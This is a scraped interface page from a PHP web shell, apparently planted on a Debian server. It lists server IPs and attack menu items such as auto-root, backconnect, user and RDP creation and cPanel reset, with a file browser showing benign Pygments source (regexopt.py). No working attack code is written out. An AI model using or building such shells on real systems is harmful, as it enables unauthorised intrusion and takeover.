Linux biogene 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
Apache
: 46.101.124.208 | : 18.226.4.129
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
pygments /
[ HOME SHELL ]
Name
Size
Permission
Action
filters
[ DIR ]
drwxr-xr-x
formatters
[ DIR ]
drwxr-xr-x
lexers
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
__init__.py
2.91
KB
-rw-r--r--
__init__.pyc
3.27
KB
-rw-r--r--
cmdline.py
16.13
KB
-rw-r--r--
cmdline.pyc
12.21
KB
-rw-r--r--
console.py
1.81
KB
-rw-r--r--
console.pyc
2.27
KB
-rw-r--r--
filter.py
2.02
KB
-rw-r--r--
filter.pyc
3.1
KB
-rw-r--r--
formatter.py
2.88
KB
-rw-r--r--
formatter.pyc
3.35
KB
-rw-r--r--
lexer.py
30.12
KB
-rw-r--r--
lexer.pyc
28.34
KB
-rw-r--r--
modeline.py
958
B
-rw-r--r--
modeline.pyc
1.3
KB
-rw-r--r--
plugin.py
1.82
KB
-rw-r--r--
plugin.pyc
2.3
KB
-rw-r--r--
regexopt.py
3
KB
-rw-r--r--
regexopt.pyc
3.14
KB
-rw-r--r--
scanner.py
3.04
KB
-rw-r--r--
scanner.pyc
4.07
KB
-rw-r--r--
sphinxext.py
4.43
KB
-rw-r--r--
sphinxext.pyc
5.39
KB
-rw-r--r--
style.py
3.69
KB
-rw-r--r--
style.pyc
3.83
KB
-rw-r--r--
token.py
5.64
KB
-rw-r--r--
token.pyc
5.04
KB
-rw-r--r--
unistring.py
49.91
KB
-rw-r--r--
unistring.pyc
26.58
KB
-rw-r--r--
util.py
11.32
KB
-rw-r--r--
util.pyc
12.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : regexopt.py
# -*- coding: utf-8 -*- """ pygments.regexopt ~~~~~~~~~~~~~~~~~ An algorithm that generates optimized regexes for matching long lists of literal strings. :copyright: Copyright 2006-2014 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ import re from re import escape from os.path import commonprefix from itertools import groupby from operator import itemgetter CS_ESCAPE = re.compile(r'[\^\\\-\]]') FIRST_ELEMENT = itemgetter(0) def make_charset(letters): return '[' + CS_ESCAPE.sub(lambda m: '\\' + m.group(), ''.join(letters)) + ']' def regex_opt_inner(strings, open_paren): """Return a regex that matches any string in the sorted list of strings.""" close_paren = open_paren and ')' or '' # print strings, repr(open_paren) if not strings: # print '-> nothing left' return '' first = strings[0] if len(strings) == 1: # print '-> only 1 string' return open_paren + escape(first) + close_paren if not first: # print '-> first string empty' return open_paren + regex_opt_inner(strings[1:], '(?:') \ + '?' + close_paren if len(first) == 1: # multiple one-char strings? make a charset oneletter = [] rest = [] for s in strings: if len(s) == 1: oneletter.append(s) else: rest.append(s) if len(oneletter) > 1: # do we have more than one oneletter string? if rest: # print '-> 1-character + rest' return open_paren + regex_opt_inner(rest, '') + '|' \ + make_charset(oneletter) + close_paren # print '-> only 1-character' return make_charset(oneletter) prefix = commonprefix(strings) if prefix: plen = len(prefix) # we have a prefix for all strings # print '-> prefix:', prefix return open_paren + escape(prefix) \ + regex_opt_inner([s[plen:] for s in strings], '(?:') \ + close_paren # is there a suffix? strings_rev = [s[::-1] for s in strings] suffix = commonprefix(strings_rev) if suffix: slen = len(suffix) # print '-> suffix:', suffix[::-1] return open_paren \ + regex_opt_inner(sorted(s[:-slen] for s in strings), '(?:') \ + escape(suffix[::-1]) + close_paren # recurse on common 1-string prefixes # print '-> last resort' return open_paren + \ '|'.join(regex_opt_inner(list(group[1]), '') for group in groupby(strings, lambda s: s[0] == first[0])) \ + close_paren def regex_opt(strings, prefix='', suffix=''): """Return a compiled regex that matches any string in the given list. The strings to match must be literal strings, not regexes. They will be regex-escaped. *prefix* and *suffix* are pre- and appended to the final regex. """ strings = sorted(strings) return prefix + regex_opt_inner(strings, '(') + suffix
Close